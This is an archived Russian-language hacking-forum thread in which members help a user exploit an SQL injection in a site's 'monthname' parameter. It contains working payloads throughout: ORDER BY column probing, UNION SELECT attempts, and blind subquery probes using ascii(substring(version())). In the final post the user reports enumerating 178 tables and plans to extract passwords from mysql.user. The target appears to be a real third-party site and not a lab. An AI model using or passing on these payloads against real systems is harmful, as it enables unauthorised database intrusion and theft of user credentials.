PDA

Просмотр полной версии : Вопрос специалистам в sql-injection


JenJen
30.12.2007, 23:10
Всем привет. Такой вопрос:
есть sql-injection. При запросе при добавлении к уязвимому параметру:

monthname=december' order by 8/*

выдаётся следующая ошибка:
Error: Запрос: SELECT SUM(uhits) AS suhits, SUM(vhits) AS svhits, SUM(installs) AS sinstalls, SUM(total) AS stotal, SUM(referals) AS sreferals, SUM(portal) AS sportal, SUM(bonus_inst) AS sbonus_inst FROM stats WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' order by 8/*' Ошибка: Unknown column '8' in 'order clause'
При вводе:
monthname=december' order by 7/* ошибки не выдается, естественно выводится нормальная страница, получается вроде как 7 полей. Однако при

monthname=december' union select 1,2,3,4,5,6,7/*

выводится ошибка вида:

Error: Запрос: SELECT * FROM stats a WHERE id_user='4455' AND YEAR(date)=YEAR(NOW()) AND MONTHNAME(date)='December' union select 1,2,3,4,5,6,7/*' ORDER by -date Ошибка: The used SELECT statements have a different number of columns

Эта же ошибка выводится во всех запросах по типу

monthname=december' union select в кол-ве колонок от 1 до 60, дальше я не пробовал.

Я так понял тут следуют несколько один за одним запросов, как с этим работать?

Надеюсь на Ваши ответы )

Апд:модеры, я запостил здесь потому что ситуация не еденичная и вообще не очень широко освещена в статьях. Тема о том, что и как делать если идут подряд несколько запросов.

AFoST
30.12.2007, 23:23
monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?

JenJen
30.12.2007, 23:37
monthname=december' union select 111,222,333,444,555,666,777/*
На странице или в коде страницы есть такие значения при таком запросе?
Никаких, выводится исключительно текст ошибки и всё. Если б выводилось я б не задавал вопросов.

AFoST
30.12.2007, 23:47
Пока больше никаких идей нет :(

Spyder
30.12.2007, 23:50
Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать

JenJen
30.12.2007, 23:52
Чё вы ему тут насоветовали? ппц
У тебя в скрипте 2 запроса с одной переменной, правильное кол-во столбцов тебе подобрать не получится, ибо один из запросо всегда будет не верный
В твоём случае только подзапросы юзать
Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?

Nea7
31.12.2007, 17:16
Да, спасибо я уже это понял.
Может расскажешь как их правильно юзать или дашь ссылку?
http://forum.antichat.ru/showpost.php?p=537435&postcount=567
брошюрко -> статья ZaCo

Серенький
31.12.2007, 23:48
учти, что в мускулах <4.2 подзапросы не поддерживаются.

blackybr
01.01.2008, 02:24
не 4.2, а 4.1.. то есть подзапросы появились в 4.1..

monthname=december+and+ascii(substring(version(),1 ,1))>0/*
monthname=december+and+ascii(substring(version(),1 ,1))<0/*

проверь разные ли ответы

Серенький
01.01.2008, 04:03
Да, спасибо за поправку,
с Наступившим.

JenJen
01.01.2008, 10:14
Спасибо всем ответившим, сейчас проверю, потом отпишу.

З.Ы. С 2008 )

Результаты:
всё работает, а версия вообще 5.х. Причем версию узнал простым
monthname=december' and version()>=5/*
Далее, с помощью подзапросов узнал кол-во таблиц, их оказалось 178 ).
Сейчас проверю сколько записей '%' в поле host таблицы mysql.user и в зависимости от этого буду либо узнавать пароли юзеров либо узнавать все имена таблиц.

Еще раз спасибо всем, хоть наконец-то узнал как юать подзапросы по-нормальному.